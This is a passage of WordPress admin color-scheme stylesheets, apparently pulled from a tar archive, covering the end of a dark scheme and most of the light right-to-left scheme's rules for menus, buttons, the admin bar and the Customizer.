.ab-sub-wrapper{background:rgb(12.15,12.15,12.15)}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:rgb(47.85,47.85,47.85)}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:rgb(187.5,187.5,187.5)}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#f3f1f1}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#7b90ff}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#7b90ff}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#f3f1f1}#wpadminbar #adminbarsearch:before{color:#f3f1f1}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:rgb(47.85,47.85,47.85)}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#3858e9}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:rgb(50.4,79.2,209.7)}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:rgb(47.85,47.85,47.85);background-color:rgb(47.85,47.85,47.85)}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#7b90ff}#wpadminbar #wp-admin-bar-user-info .username{color:rgb(187.5,187.5,187.5)}.wp-pointer .wp-pointer-content h3{background-color:#3858e9;border-color:rgb(33.0384615385,68.7307692308,230.4615384615)}.wp-pointer .wp-pointer-content h3:before{color:#3858e9}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#3858e9}.media-item .bar,.media-progress-bar div{background-color:#3858e9}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #3858e9}.attachment.details .check{background-color:#3858e9;box-shadow:0 0 0 1px #fff,0 0 0 2px #3858e9}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #3858e9}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#3858e9}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#3858e9}.theme-filter.current,.theme-section.current{border-bottom-color:#1e1e1e}body.more-filters-opened .more-filters{color:#fff;background-color:#1e1e1e}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#3858e9;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#3858e9;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px rgb(101.9230769231,126.5384615385,238.0769230769),0 0 2px 1px #3858e9}div#wp-responsive-toggle a:before{color:#f3f1f1}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#3858e9}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:rgb(12.15,12.15,12.15)}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#f3f1f1}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#3858e9}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#3858e9;border-right-color:#3858e9}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#3858e9;border-top-color:#3858e9}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#3858e9;border-right-color:#3858e9}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#3858e9}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px rgb(101.9230769231,126.5384615385,238.0769230769),0 0 2px 1px #3858e9}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#3858e9}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-right-color:#3858e9;color:#3858e9}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#3858e9}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#3858e9}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#3858e9}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#3858e9;border-style:solid;box-shadow:0 0 0 1px #3858e9;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#3858e9}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#3858e9}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#3858e9}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px rgb(101.9230769231,126.5384615385,238.0769230769),0 0 2px 1px #3858e9}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#3858e9;color:#3858e9} css/colors/light/colors-rtl.css 0000644 00000060556 15233246127 0012577 0 ustar 00 /*! This file is auto-generated */ /* * Button mixin - creates a primary button effect. * Uses CSS custom properties for theme color support across color schemes. */ /* * Secondary button mixin - outlined style with theme color. * Matches Gutenberg's .is-secondary button variant. */ /* * Tertiary button mixin - transparent background, gray text. */ /** * This function name uses British English to maintain backward compatibility, as developers * may use the function in their own admin CSS files. See #56811. */ body { background: #f5f5f5; } /* Links */ a { color: #0073aa; } a:hover, a:active, a:focus { color: rgb(0, 149.5, 221); } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-revisions:before, span.wp-media-buttons-icon:before { color: currentColor; } /* Link button - appears as text link, no border or background */ /* Matches Gutenberg's .is-link button variant */ .wp-core-ui .button-link, .wp-core-ui .button.button-link { color: var(--wp-admin-theme-color); } .wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button.button-link:hover, .wp-core-ui .button.button-link:active { color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-link:focus, .wp-core-ui .button.button-link:focus { color: var(--wp-admin-theme-color); border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-link:disabled, .wp-core-ui .button-link[aria-disabled=true], .wp-core-ui .button.button-link:disabled, .wp-core-ui .button.button-link[aria-disabled=true] { color: #949494; } .media-modal .delete-attachment, .media-modal .trash-attachment, .media-modal .untrash-attachment, .wp-core-ui .button-link-delete { color: #cc1818; } .media-modal .delete-attachment:hover, .media-modal .trash-attachment:hover, .media-modal .untrash-attachment:hover, .media-modal .delete-attachment:focus, .media-modal .trash-attachment:focus, .media-modal .untrash-attachment:focus, .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: rgb(230.6842105263, 48.3157894737, 48.3157894737); } /* Forms */ input[type=checkbox]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type=radio]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } .wp-core-ui input[type=reset]:hover, .wp-core-ui input[type=reset]:active { color: rgb(0, 149.5, 221); } input[type=text]:focus, input[type=password]:focus, input[type=color]:focus, input[type=date]:focus, input[type=datetime]:focus, input[type=datetime-local]:focus, input[type=email]:focus, input[type=month]:focus, input[type=number]:focus, input[type=search]:focus, input[type=tel]:focus, input[type=time]:focus, input[type=url]:focus, input[type=week]:focus, select:focus, textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } input[type=checkbox]:focus, input[type=radio]:focus { border-color: #1e1e1e; box-shadow: 0 0 0 2px #ffffff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .wp-core-ui select:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .wp-tags-autocomplete .ui-state-focus, .wp-tags-autocomplete [aria-selected=true] { background-color: var(--wp-admin-theme-color); } #pass1:focus, #pass1-text:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .mailserver-pass-wrap .button.wp-hide-pw:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } /* Core UI */ .wp-core-ui { /* Default button - theme color border and text (matches secondary) */ } .wp-core-ui .button { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button:disabled, .wp-core-ui .button.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Secondary button - same as default */ } .wp-core-ui .button-secondary { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button-secondary:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-secondary:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-secondary:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-secondary.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Primary button - theme color background */ } .wp-core-ui .button-primary { background: var(--wp-admin-theme-color); border-color: transparent; border-radius: 2px; color: #fff; } .wp-core-ui .button-primary:hover { background: var(--wp-admin-theme-color-darker-10); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:focus { background: var(--wp-admin-theme-color); border-color: transparent; color: #fff; /* Gutenberg-style focus ring: outer theme color + inset white for contrast */ box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color), inset 0 0 0 1px #ffffff; /* Visible in Windows High Contrast mode */ outline: 1px solid transparent; } .wp-core-ui .button-primary:active { background: var(--wp-admin-theme-color-darker-20); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.disabled { background: #f0f0f0; border-color: transparent; color: #949494; cursor: not-allowed; } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover { background: var(--wp-admin-theme-color-darker-10); color: #fff; border-color: transparent; box-shadow: none; } .wp-core-ui .button-group > .button.active { border-color: var(--wp-admin-theme-color); background: rgba(var(--wp-admin-theme-color--rgb), 0.08); } .wp-core-ui .wp-ui-primary { color: #333; background-color: #e5e5e5; } .wp-core-ui .wp-ui-text-primary { color: #e5e5e5; } .wp-core-ui .wp-ui-highlight { color: #fff; background-color: #888; } .wp-core-ui .wp-ui-text-highlight { color: #888; } .wp-core-ui .wp-ui-notification { color: #fff; background-color: #d64e07; } .wp-core-ui .wp-ui-text-notification { color: #d64e07; } .wp-core-ui .wp-ui-text-icon { color: #999; } /* List tables */ .wrap .page-title-action { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wrap .page-title-action:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wrap .page-title-action:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wrap .page-title-action:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .view-switch a.current:before { color: #e5e5e5; } .view-switch a:hover:before { color: #d64e07; } /* Admin Menu */ #adminmenuback, #adminmenuwrap, #adminmenu { background: #e5e5e5; } #adminmenu a { color: #333; } #adminmenu div.wp-menu-image:before { color: #999; } #adminmenu a:hover, #adminmenu li.menu-top:hover, #adminmenu li.opensub > a.menu-top, #adminmenu li > a.menu-top:focus { color: #fff; background-color: #888; } #adminmenu li.menu-top:hover div.wp-menu-image:before, #adminmenu li.opensub > a.menu-top div.wp-menu-image:before { color: #ccc; } /* Active tabs use a bottom border color that matches the page background color. */ .about-wrap .nav-tab-active, .nav-tab-active, .nav-tab-active:hover { background-color: #f5f5f5; border-bottom-color: #f5f5f5; } /* Admin Menu: submenu */ #adminmenu .wp-submenu, #adminmenu .wp-has-current-submenu .wp-submenu, #adminmenu .wp-has-current-submenu.opensub .wp-submenu, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu { background: #fff; } #adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-left-color: #fff; } #adminmenu .wp-submenu .wp-submenu-head { color: rgb(104.4, 104.4, 104.4); } #adminmenu .wp-submenu a, #adminmenu .wp-has-current-submenu .wp-submenu a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a { color: rgb(104.4, 104.4, 104.4); } #adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover, #adminmenu .wp-has-current-submenu .wp-submenu a:focus, #adminmenu .wp-has-current-submenu .wp-submenu a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover { color: #04a4cc; } /* Admin Menu: current */ #adminmenu .wp-submenu li.current a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a { color: #333; } #adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus { color: #04a4cc; } ul#adminmenu a.wp-has-current-submenu:after, ul#adminmenu > li.current > a.current:after { border-left-color: #f5f5f5; } #adminmenu li.current a.menu-top, #adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, #adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head, .folded #adminmenu li.current.menu-top { color: #fff; background: #888; } #adminmenu li.wp-has-current-submenu div.wp-menu-image:before, #adminmenu a.current:hover div.wp-menu-image:before, #adminmenu li.current div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before, #adminmenu li:hover div.wp-menu-image:before, #adminmenu li a:focus div.wp-menu-image:before, #adminmenu li.opensub div.wp-menu-image:before { color: #ccc; } /* Admin Menu: bubble */ #adminmenu .menu-counter, #adminmenu .awaiting-mod, #adminmenu .update-plugins { color: #fff; background: #d64e07; } #adminmenu li.current a .awaiting-mod, #adminmenu li a.wp-has-current-submenu .update-plugins, #adminmenu li:hover a .awaiting-mod, #adminmenu li.menu-top:hover > a .update-plugins { color: #333; background: #fff; } /* Admin Menu: collapse button */ #collapse-button { color: #777; } #collapse-button:hover, #collapse-button:focus { color: #04a4cc; } /* Admin Bar */ #wpadminbar { color: #333; background: #e5e5e5; } #wpadminbar .ab-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #333; } #wpadminbar .ab-icon, #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar .ab-item:after { color: #999; } #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item, #wpadminbar .ab-top-menu > li.menupop.hover > .ab-item { color: #04a4cc; background: #fff; } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: #04a4cc; } #wpadminbar:not(.mobile) li:hover .ab-icon:before, #wpadminbar:not(.mobile) li:hover .ab-item:before, #wpadminbar:not(.mobile) li:hover .ab-item:after, #wpadminbar:not(.mobile) li:hover #adminbarsearch:before { color: #04a4cc; } /* Admin Bar: submenu */ #wpadminbar .menupop .ab-sub-wrapper { background: #fff; } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: rgb(246.85, 246.85, 246.85); } #wpadminbar .ab-submenu .ab-item, #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: rgb(104.4, 104.4, 104.4); } #wpadminbar .quicklinks li .blavatar, #wpadminbar .menupop .menupop > .ab-item:before { color: #999; } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: #04a4cc; } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar, #wpadminbar .menupop .menupop > .ab-item:hover:before, #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: #04a4cc; } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: #999; } /* Admin Bar: search */ #wpadminbar #adminbarsearch:before { color: #999; } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { color: #333; background: rgb(246.85, 246.85, 246.85); } /* Admin Bar: recovery mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #d64e07; } #wpadminbar #wp-admin-bar-recovery-mode .ab-item, #wpadminbar #wp-admin-bar-recovery-mode a.ab-item { color: #fff; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: rgb(192.6, 70.2, 6.3); } /* Admin Bar: my account */ #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { border-color: rgb(246.85, 246.85, 246.85); background-color: rgb(246.85, 246.85, 246.85); } #wpadminbar #wp-admin-bar-user-info .display-name { color: #333; } #wpadminbar #wp-admin-bar-user-info a:hover .display-name { color: #04a4cc; } #wpadminbar #wp-admin-bar-user-info .username { color: rgb(104.4, 104.4, 104.4); } /* Pointers */ .wp-pointer .wp-pointer-content h3 { background-color: #04a4cc; border-color: rgb(3.5096153846, 143.8942307692, 178.9903846154); } .wp-pointer .wp-pointer-content h3:before { color: #04a4cc; } .wp-pointer.wp-pointer-top .wp-pointer-arrow, .wp-pointer.wp-pointer-top .wp-pointer-arrow-inner, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner { border-bottom-color: #04a4cc; } /* Media */ .media-item .bar, .media-progress-bar div { background-color: #04a4cc; } .details.attachment { box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #04a4cc; } .attachment.details .check { background-color: #04a4cc; box-shadow: 0 0 0 1px #fff, 0 0 0 2px #04a4cc; } .media-selection .attachment.selection.details .thumbnail { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #04a4cc; } /* Themes */ .theme-browser .theme.active .theme-name, .theme-browser .theme.add-new-theme a:hover:after, .theme-browser .theme.add-new-theme a:focus:after { background: #04a4cc; } .theme-browser .theme.add-new-theme a:hover span:after, .theme-browser .theme.add-new-theme a:focus span:after { color: #04a4cc; } .theme-section.current, .theme-filter.current { border-bottom-color: #e5e5e5; } body.more-filters-opened .more-filters { color: #333; background-color: #e5e5e5; } body.more-filters-opened .more-filters:before { color: #333; } body.more-filters-opened .more-filters:hover, body.more-filters-opened .more-filters:focus { background-color: #888; color: #fff; } body.more-filters-opened .more-filters:hover:before, body.more-filters-opened .more-filters:focus:before { color: #fff; } /* Widgets */ .widgets-chooser li.widgets-chooser-selected { background-color: #888; color: #fff; } .widgets-chooser li.widgets-chooser-selected:before, .widgets-chooser li.widgets-chooser-selected:focus:before { color: #fff; } /* Nav Menus */ .nav-menus-php .item-edit:focus:before { box-shadow: 0 0 0 1px rgb(8.8269230769, 201.9038461538, 250.1730769231), 0 0 2px 1px #04a4cc; } /* Responsive Component */ div#wp-responsive-toggle a:before { color: #999; } .wp-responsive-open div#wp-responsive-toggle a { border-color: transparent; background: #888; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a { background: #fff; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { color: #999; } /* TinyMCE */ .mce-container.mce-menu .mce-menu-item:hover, .mce-container.mce-menu .mce-menu-item.mce-selected, .mce-container.mce-menu .mce-menu-item:focus, .mce-container.mce-menu .mce-menu-item-normal.mce-active, .mce-container.mce-menu .mce-menu-item-preview.mce-active { background: #04a4cc; } /* Customizer */ .wp-core-ui #customize-controls .control-section:hover > .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:hover, .wp-core-ui #customize-controls .control-section.open .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:focus { color: #0073aa; border-right-color: #04a4cc; } .wp-core-ui .customize-controls-close:focus, .wp-core-ui .customize-controls-close:hover, .wp-core-ui .customize-controls-preview-toggle:focus, .wp-core-ui .customize-controls-preview-toggle:hover { color: #0073aa; border-top-color: #04a4cc; } .wp-core-ui .customize-panel-back:hover, .wp-core-ui .customize-panel-back:focus, .wp-core-ui .customize-section-back:hover, .wp-core-ui .customize-section-back:focus { color: #0073aa; border-right-color: #04a4cc; } .wp-core-ui .customize-screen-options-toggle:hover, .wp-core-ui .customize-screen-options-toggle:active, .wp-core-ui .customize-screen-options-toggle:focus, .wp-core-ui .active-menu-screen-options .customize-screen-options-toggle, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus { color: #0073aa; } .wp-core-ui .customize-screen-options-toggle:focus:before, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before, .wp-core-ui .menu-item-bar .item-delete:focus:before, .wp-core-ui #available-menu-items .item-add:focus:before, .wp-core-ui #customize-save-button-wrapper .save:focus, .wp-core-ui #publish-settings:focus { box-shadow: 0 0 0 1px rgb(8.8269230769, 201.9038461538, 250.1730769231), 0 0 2px 1px #04a4cc; } .wp-core-ui 